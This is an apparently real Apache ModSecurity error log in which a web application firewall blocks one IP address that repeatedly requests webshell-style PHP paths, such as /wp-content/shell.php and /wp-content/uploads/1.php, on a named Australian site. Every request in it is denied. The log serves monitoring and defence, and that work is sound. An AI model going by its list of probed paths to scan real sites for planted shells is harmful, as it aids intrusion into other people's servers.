[Tue Jan 27 02:57:35.066159 2026] [:error] [pid 57173:tid 57237] [client 40.115.140.37:11590] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thebe.php"] [unique_id "aXe5H04W-bz8q8pfNmgwcAAAAAU"]
[Tue Jan 27 02:57:35.509284 2026] [:error] [pid 44849:tid 44868] [client 40.115.140.37:4293] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thebe.php"] [unique_id "aXe5HxvM0vcShMgZVmQJrAAAAVE"]
[Tue Jan 27 02:57:35.930945 2026] [:error] [pid 44849:tid 44869] [client 40.115.140.37:2282] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thebe.php"] [unique_id "aXe5HxvM0vcShMgZVmQJrQAAAVI"]
[Tue Jan 27 02:57:36.769770 2026] [:error] [pid 44587:tid 44800] [client 40.115.140.37:2636] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thebe.php"] [unique_id "aXe5IIsXadca93KAT8QA0gAAAMg"]
[Tue Jan 27 02:57:37.757792 2026] [:error] [pid 44588:tid 44830] [client 40.115.140.37:5985] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pom.php"] [unique_id "aXe5ITHRQD80UhqYrcAoYQAAAQo"]
[Tue Jan 27 02:57:38.226424 2026] [:error] [pid 44587:tid 44792] [client 40.115.140.37:11414] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pom.php"] [unique_id "aXe5IosXadca93KAT8QA1AAAAMA"]
[Tue Jan 27 02:57:38.620159 2026] [:error] [pid 23303:tid 23322] [client 40.115.140.37:2476] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pom.php"] [unique_id "aXe5Ip9-XqTbIalaUZyfnwAAAZE"]
[Tue Jan 27 02:57:39.243151 2026] [:error] [pid 44587:tid 44798] [client 40.115.140.37:14445] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pom.php"] [unique_id "aXe5I4sXadca93KAT8QA1QAAAMY"]
[Tue Jan 27 02:57:39.952213 2026] [:error] [pid 18632:tid 18653] [client 40.115.140.37:11401] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234.php"] [unique_id "aXe5I6U_e_bi-Bnkkm4cCwAAAFI"]
[Tue Jan 27 02:57:40.521006 2026] [:error] [pid 44849:tid 44854] [client 40.115.140.37:2296] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234.php"] [unique_id "aXe5JBvM0vcShMgZVmQJrwAAAUM"]
[Tue Jan 27 02:57:41.041709 2026] [:error] [pid 44849:tid 44874] [client 40.115.140.37:5971] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234.php"] [unique_id "aXe5JRvM0vcShMgZVmQJsAAAAVc"]
[Tue Jan 27 02:57:41.581492 2026] [:error] [pid 23303:tid 23316] [client 40.115.140.37:2455] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234.php"] [unique_id "aXe5JZ9-XqTbIalaUZyfoQAAAYs"]
[Tue Jan 27 02:57:42.135806 2026] [:error] [pid 44587:tid 44799] [client 40.115.140.37:6224] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aXe5JosXadca93KAT8QA2QAAAMc"]
[Tue Jan 27 02:57:42.799393 2026] [:error] [pid 23303:tid 23327] [client 40.115.140.37:6882] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aXe5Jp9-XqTbIalaUZyfogAAAZY"]
[Tue Jan 27 02:57:43.409084 2026] [:error] [pid 44588:tid 44836] [client 40.115.140.37:2436] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aXe5JzHRQD80UhqYrcAoYwAAARA"]
[Tue Jan 27 02:57:43.794037 2026] [:error] [pid 44586:tid 44779] [client 40.115.140.37:11406] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aXe5J6ZDnq-dPBqM5Li4xAAAAI8"]
[Tue Jan 27 02:57:44.493965 2026] [:error] [pid 44586:tid 44772] [client 40.115.140.37:14419] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/1.php"] [unique_id "aXe5KKZDnq-dPBqM5Li4xgAAAIg"]
[Tue Jan 27 02:57:45.391767 2026] [:error] [pid 44586:tid 44766] [client 40.115.140.37:13551] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/1.php"] [unique_id "aXe5KaZDnq-dPBqM5Li4yQAAAII"]
[Tue Jan 27 02:57:46.340080 2026] [:error] [pid 44586:tid 44769] [client 40.115.140.37:11143] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/1.php"] [unique_id "aXe5KqZDnq-dPBqM5Li4ywAAAIU"]
[Tue Jan 27 02:57:46.823699 2026] [:error] [pid 44588:tid 44834] [client 40.115.140.37:11210] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/1.php"] [unique_id "aXe5KjHRQD80UhqYrcAoZwAAAQ4"]
[Tue Jan 27 02:57:47.247810 2026] [:error] [pid 44588:tid 44837] [client 40.115.140.37:11855] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvde.php"] [unique_id "aXe5KzHRQD80UhqYrcAoaQAAARE"]
[Tue Jan 27 02:57:47.791847 2026] [:error] [pid 23303:tid 23329] [client 40.115.140.37:4325] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvde.php"] [unique_id "aXe5K59-XqTbIalaUZyfpgAAAZg"]
[Tue Jan 27 02:57:48.289564 2026] [:error] [pid 44849:tid 44859] [client 40.115.140.37:12032] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvde.php"] [unique_id "aXe5LBvM0vcShMgZVmQJugAAAUg"]
[Tue Jan 27 02:57:48.738630 2026] [:error] [pid 44587:tid 44795] [client 40.115.140.37:6212] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvde.php"] [unique_id "aXe5LIsXadca93KAT8QA2gAAAMM"]
[Tue Jan 27 02:57:49.002345 2026] [:error] [pid 18632:tid 18658] [client 40.115.140.37:11598] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/shell.php"] [unique_id "aXe5LaU_e_bi-Bnkkm4cFQAAAFc"]
[Tue Jan 27 02:57:49.633726 2026] [:error] [pid 44588:tid 44826] [client 40.115.140.37:2627] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/shell.php"] [unique_id "aXe5LTHRQD80UhqYrcAoawAAAQY"]
[Tue Jan 27 02:57:50.093681 2026] [:error] [pid 23303:tid 23315] [client 40.115.140.37:11610] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/shell.php"] [unique_id "aXe5Lp9-XqTbIalaUZyfqAAAAYo"]
[Tue Jan 27 02:57:50.556202 2026] [:error] [pid 18632:tid 18656] [client 40.115.140.37:3787] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/shell.php"] [unique_id "aXe5LqU_e_bi-Bnkkm4cHQAAAFU"]
[Tue Jan 27 02:57:51.603645 2026] [:error] [pid 44586:tid 44781] [client 40.115.140.37:2275] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f355.php"] [unique_id "aXe5L6ZDnq-dPBqM5Li40wAAAJE"]
[Tue Jan 27 02:57:51.927121 2026] [:error] [pid 57173:tid 57248] [client 40.115.140.37:13932] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f355.php"] [unique_id "aXe5L04W-bz8q8pfNmgweAAAAA8"]
[Tue Jan 27 02:57:52.476034 2026] [:error] [pid 23303:tid 23318] [client 40.115.140.37:2242] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f355.php"] [unique_id "aXe5MJ9-XqTbIalaUZyfrgAAAY0"]
[Tue Jan 27 02:57:53.086401 2026] [:error] [pid 44587:tid 44798] [client 40.115.140.37:2232] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f355.php"] [unique_id "aXe5MYsXadca93KAT8QA4QAAAMY"]
[Tue Jan 27 02:57:53.950981 2026] [:error] [pid 44586:tid 44779] [client 40.115.140.37:11866] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aXe5MaZDnq-dPBqM5Li43QAAAI8"]
[Tue Jan 27 02:57:54.663181 2026] [:error] [pid 44588:tid 44828] [client 40.115.140.37:13946] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aXe5MjHRQD80UhqYrcAodgAAAQg"]
[Tue Jan 27 02:57:55.240507 2026] [:error] [pid 57173:tid 57254] [client 40.115.140.37:4524] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aXe5M04W-bz8q8pfNmgwewAAABU"]
[Tue Jan 27 02:57:56.146946 2026] [:error] [pid 18632:tid 18656] [client 40.115.140.37:4052] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aXe5NKU_e_bi-Bnkkm4cJQAAAFU"]
[Tue Jan 27 02:57:56.551095 2026] [:error] [pid 57173:tid 57237] [client 40.115.140.37:11151] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "aXe5NE4W-bz8q8pfNmgwfAAAAAU"]
[Tue Jan 27 02:57:57.978983 2026] [:error] [pid 44849:tid 44852] [client 40.115.140.37:2216] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "aXe5NRvM0vcShMgZVmQJxgAAAUE"]
[Tue Jan 27 02:57:59.170730 2026] [:error] [pid 57173:tid 57255] [client 40.115.140.37:14461] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "aXe5N04W-bz8q8pfNmgwfwAAABY"]
[Tue Jan 27 02:57:59.583761 2026] [:error] [pid 57173:tid 57252] [client 40.115.140.37:13898] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "aXe5N04W-bz8q8pfNmgwgAAAABM"]
[Tue Jan 27 02:57:59.962471 2026] [:error] [pid 57173:tid 57239] [client 40.115.140.37:2284] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe5N04W-bz8q8pfNmgwgQAAAAc"]
[Tue Jan 27 02:58:00.723320 2026] [:error] [pid 23303:tid 23328] [client 40.115.140.37:11639] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe5OJ9-XqTbIalaUZyfvAAAAZc"]
[Tue Jan 27 02:58:01.647921 2026] [:error] [pid 57173:tid 57249] [client 40.115.140.37:11898] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe5OU4W-bz8q8pfNmgwgwAAABA"]
[Tue Jan 27 02:58:02.011872 2026] [:error] [pid 57173:tid 57253] [client 40.115.140.37:3817] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe5Ok4W-bz8q8pfNmgwhgAAABQ"]
[Tue Jan 27 02:58:02.628646 2026] [:error] [pid 44586:tid 44766] [client 40.115.140.37:2670] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3r.php"] [unique_id "aXe5OqZDnq-dPBqM5Li45QAAAII"]
[Tue Jan 27 02:58:03.107785 2026] [:error] [pid 18632:tid 18655] [client 40.115.140.37:11214] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3r.php"] [unique_id "aXe5O6U_e_bi-Bnkkm4cKgAAAFQ"]
[Tue Jan 27 02:58:03.545448 2026] [:error] [pid 44588:tid 44820] [client 40.115.140.37:14409] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3r.php"] [unique_id "aXe5OzHRQD80UhqYrcAofgAAAQE"]
[Tue Jan 27 02:58:04.029081 2026] [:error] [pid 18632:tid 18637] [client 40.115.140.37:14915] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3r.php"] [unique_id "aXe5PKU_e_bi-Bnkkm4cLQAAAEI"]
[Tue Jan 27 02:58:04.599217 2026] [:error] [pid 44587:tid 44792] [client 40.115.140.37:2635] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aXe5PIsXadca93KAT8QA5wAAAMA"]
[Tue Jan 27 02:58:05.838517 2026] [:error] [pid 23303:tid 23325] [client 40.115.140.37:2639] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aXe5PZ9-XqTbIalaUZyfvwAAAZQ"]
[Tue Jan 27 02:58:06.508136 2026] [:error] [pid 44586:tid 44788] [client 40.115.140.37:2449] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aXe5PqZDnq-dPBqM5Li46gAAAJg"]
[Tue Jan 27 02:58:06.861327 2026] [:error] [pid 57173:tid 57254] [client 40.115.140.37:13552] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "aXe5Pk4W-bz8q8pfNmgwjQAAABU"]
[Tue Jan 27 02:58:07.269359 2026] [:error] [pid 23303:tid 23319] [client 40.115.140.37:14798] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5P59-XqTbIalaUZyfxAAAAY4"]
[Tue Jan 27 02:58:07.812566 2026] [:error] [pid 23303:tid 23320] [client 40.115.140.37:13939] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5P59-XqTbIalaUZyfxgAAAY8"]
[Tue Jan 27 02:58:08.214242 2026] [:error] [pid 44586:tid 44767] [client 40.115.140.37:2259] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5QKZDnq-dPBqM5Li48gAAAIM"]
[Tue Jan 27 02:58:08.680829 2026] [:error] [pid 44586:tid 44778] [client 40.115.140.37:4347] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5QKZDnq-dPBqM5Li49gAAAI4"]
